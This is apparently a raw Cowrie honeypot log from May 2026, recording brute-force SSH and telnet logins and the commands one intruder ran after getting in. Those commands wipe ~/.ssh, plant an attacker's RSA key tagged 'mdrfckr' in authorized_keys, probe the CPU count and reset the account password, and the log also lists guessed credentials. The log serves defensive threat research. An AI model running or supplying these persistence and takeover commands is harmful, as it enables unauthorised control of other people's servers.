{"eventid":"cowrie.session.closed","duration":41.71775960922241,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:10.014271Z","src_ip":"68.183.198.12","session":"34573f756fca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"179.251.28.249","src_port":41552,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e89801469f9","protocol":"telnet","message":"New connection: 179.251.28.249:41552 (10.17.0.5:23) [session: 4e89801469f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:13.525679Z"}
{"eventid":"cowrie.session.closed","duration":43.895562410354614,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:21.111710Z","src_ip":"68.183.198.12","session":"55c0d359aa3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.702330589294434,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:26.227888Z","src_ip":"179.251.28.249","session":"4e89801469f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.66.164","src_port":41800,"dst_ip":"159.203.135.109","dst_port":22,"session":"fef661f48324","protocol":"ssh","message":"New connection: 42.200.66.164:41800 (159.203.135.109:22) [session: fef661f48324]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:30.560802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:30.566080Z","src_ip":"42.200.66.164","session":"fef661f48324","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:30.841003Z","src_ip":"42.200.66.164","session":"fef661f48324","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123321!","message":"login attempt [root/Aa123321!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:31.971126Z","src_ip":"42.200.66.164","session":"fef661f48324","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:33.248678Z","src_ip":"42.200.66.164","session":"fef661f48324","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.8060667514801,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:38.026047Z","src_ip":"68.183.198.12","session":"2281cc70530f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":34516,"dst_ip":"10.17.0.5","dst_port":23,"session":"51b8875b1cb7","protocol":"telnet","message":"New connection: 64.227.101.30:34516 (10.17.0.5:23) [session: 51b8875b1cb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:39.715607Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":43572,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d8c3d6159c8","protocol":"telnet","message":"New connection: 68.183.198.12:43572 (159.203.135.109:23) [session: 5d8c3d6159c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:45.055290Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.36.49","src_port":44647,"dst_ip":"10.17.0.5","dst_port":22,"session":"263adf85f7c8","protocol":"ssh","message":"New connection: 49.247.36.49:44647 (10.17.0.5:22) [session: 263adf85f7c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:47.086780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:47.091787Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:47.437102Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"adminadmin","message":"login attempt [admin/adminadmin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:48.269621Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:48.715796Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:48.718264Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:48.721976Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:48.925025Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:49.530502Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:49.533749Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:49.737693Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:49.741565Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":39854,"dst_ip":"10.17.0.5","dst_port":23,"session":"977a59e78629","protocol":"telnet","message":"New connection: 64.227.101.30:39854 (10.17.0.5:23) [session: 977a59e78629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:49.902563Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.36.49","src_port":29738,"dst_ip":"10.17.0.5","dst_port":22,"session":"e99388461f2c","protocol":"ssh","message":"New connection: 49.247.36.49:29738 (10.17.0.5:22) [session: e99388461f2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:49.939475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:49.943976Z","src_ip":"49.247.36.49","session":"e99388461f2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:50.149462Z","src_ip":"49.247.36.49","session":"e99388461f2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:51.003221Z","src_ip":"49.247.36.49","session":"e99388461f2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:52.212445Z","src_ip":"49.247.36.49","session":"e99388461f2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.36.49","src_port":1123,"dst_ip":"10.17.0.5","dst_port":22,"session":"a58d80fa1ba5","protocol":"ssh","message":"New connection: 49.247.36.49:1123 (10.17.0.5:22) [session: a58d80fa1ba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:52.415553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:52.420436Z","src_ip":"49.247.36.49","session":"a58d80fa1ba5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:52.623290Z","src_ip":"49.247.36.49","session":"a58d80fa1ba5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:53.468301Z","src_ip":"49.247.36.49","session":"a58d80fa1ba5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.142.42","src_port":44158,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0bbbc743e5f","protocol":"ssh","message":"New connection: 43.243.142.42:44158 (159.203.135.109:22) [session: b0bbbc743e5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:54.043627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:54.048370Z","src_ip":"43.243.142.42","session":"b0bbbc743e5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:54.283954Z","src_ip":"43.243.142.42","session":"b0bbbc743e5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:54.673952Z","src_ip":"49.247.36.49","session":"a58d80fa1ba5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:54.934548Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:54.938396Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:55.144435Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"oraclezxc","message":"login attempt [ubuntu/oraclezxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:55.254318Z","src_ip":"43.243.142.42","session":"b0bbbc743e5f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:55.633172Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"adminadmin\\nVSG5sl6arUnm\\nVSG5sl6arUnm\"|passwd|bash","message":"CMD: echo -e \"adminadmin\\nVSG5sl6arUnm\\nVSG5sl6arUnm\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:55.636636Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:55.640834Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:55.645946Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3d3e8b8cbb125f19951323dcbf06b53900f3e76cedcf520f3a675c1ebaa37e9c","size":32,"shasum":"3d3e8b8cbb125f19951323dcbf06b53900f3e76cedcf520f3a675c1ebaa37e9c","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3d3e8b8cbb125f19951323dcbf06b53900f3e76cedcf520f3a675c1ebaa37e9c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:55.851934Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:56.301191Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"adminadmin\\nVSG5sl6arUnm\\nVSG5sl6arUnm\\n\"|passwd","message":"CMD: echo \"adminadmin\\nVSG5sl6arUnm\\nVSG5sl6arUnm\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:15:56.305626Z","src_ip":"49.247.36.49","session":"263adf85f7c8","protocol":"ssh"}
